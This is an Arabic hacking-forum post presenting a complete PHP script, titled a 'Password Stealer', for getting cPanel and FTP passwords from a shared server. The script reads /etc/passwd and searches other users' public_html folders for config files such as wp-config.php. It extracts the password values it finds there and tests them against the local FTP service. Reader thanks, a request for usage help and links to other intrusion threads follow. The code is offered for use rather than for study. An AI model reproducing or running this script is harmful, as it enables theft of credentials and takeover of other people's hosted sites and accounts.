[size=24]كيفية الحصول على باسوورد Cpanel و FTP من على السيرفر& [/size]

السلام عليكم ورحمة الله وبركاته
بسم الله الرحمن الرحيم

اهلا بكم شباب اليوم باذن الله هقدم لكم شرح بسيط عن كيفية الحصول على باسوورد
الـ Cpanel او FTP ..

تستطيع استخراجهم عن طريق ملف مبرمج بلغة PHP
فكرة عمل الملف .. يقرا /etc/passwd و اكيد يستخرج منه ..!!!

..................................................................................

كود PHP
<?php
echo "<html>";
echo "<title>[Sec-geeks.com] Password Stealer</title><body>";

set_time_limit(0);
##################
@$passwd=fopen('/etc/passwd','r');
if (!$passwd) {
echo "[-] Error : coudn't read /etc/passwd";
exit;
}
$path_to_public=array();
$users=array();
$pathtoconf=array();
$i=0;

while(!feof($passwd)) {
$str=fgets($passwd);
if ($i>35) {
$pos=strpos($str,":");
$username=substr($str,0,$pos);
$dirz="/home/$username/public_html/";
if (($username!="")) {
if (is_readable($dirz)) {
array_push($users,$username);
array_push($path_to_public,$dirz);
}
}
}
$i++;
}
###################

#########################
echo "<br><br>";
echo "<textarea name='main_window' cols=100 rows=20>";
echo "[+] ][Sec-geeks.com][ ";
echo "[+] Founded ".sizeof($users)." entrys in /etc/passwd\n";
echo "[+] Founded ".sizeof($path_to_public)." readable public_html directories\n";

echo "[~] Searching for passwords in config.* files...\n\n";
foreach ($users as $user) {
$path="/home/$user/public_html/";
read_dir($path,$user);
}

echo "\n[+] Done\n";

function read_dir($path,$username) {
if ($handle = opendir($path)) {
while (false !== ($file = readdir($handle))) {
$fpath="$path$file";
if (($file!='.') and ($file!='..')) {
if (is_readable($fpath)) {
$dr="$fpath/";
if (is_dir($dr)) {
read_dir($dr,$username);
}
else {
if (($file=='config.php') or ($file=='config.inc.php') or ($file=='db.inc.php') or ($file=='connect.php') or ($file=='wp-config.php') or ($file=='var.php') or ($file=='configure.php') or ($file=='db.php') or ($file=='db_connect.php')) {
$pass=get_pass($fpath);
if ($pass!='') {
echo "[+] $fpath\n$pass\n";
ftp_check($username,$pass);
}
}
}
}
}
}
}
}

function get_pass($link) {
@$config=fopen($link,'r');
while(!feof($config)) {
$line=fgets($config);
if (strstr($line,'pass') or strstr($line,'password') or strstr($line,'passwd')) {
if (strrpos($line,'"'))
$pass=substr($line,(strpos($line,'=')+3),(strrpos($line,'"')-(strpos($line,'=')+3)));
else
$pass=substr($line,(strpos($line,'=')+3),(strrpos($line,"'")-(strpos($line,'=')+3)));
return $pass;
}
}
}

function ftp_check($login,$pass) {
@$ftp=ftp_connect('127.0.0.1');
if ($ftp) {
@$res=ftp_login($ftp,$login,$pass);
if ($res) {
echo '[FTP] '.$login.':'.$pass." Success\n";
}
else ftp_quit($ftp);
}
}

echo "</textarea><br>";

echo "</body></html>";
?>

..................................

والسلام عليكم ورحمة الله وبركاته

مع تحيات ابو زعـــــــــــــل وارجوو ان يعجبكم afro

:cheers:

الله يعطيك العافيه ابو زعل الله يقويك كمان وكمان

اخوكم ابو غضب [b]

شكرا اخي ابو زعل

وشكرا اللك كتير

o$h

شكرا لك اخوي ابو زعل بس وين اكتب الكود هذا

من فضلك خويا أعطيني مثالا من فضلك

» [size=24] إختراق الأجهزة التي تحت الشبكة بعد إختراق السيرفر ببرنامج Bifrost [/size]
» [size=24][size=24]الــثــغــ ExpLoit ــرات : ( مقدمة + ماهي الثغرات + انواع الثغرات ) [/size][/size]
» [size=24]Erazer Lite v0.3 برنامج اختراق الاجهزه مضمون 100%عربي[/size]
» [size=24]اليوم جبتلكم موضوع للي يبغى يهكر اي شات تفضلو الباب من هنا [/size]
» [size=24]بدك تتعلم اختراق مواقع sql مافي احد يساعدك ادخل وماعليك [/size]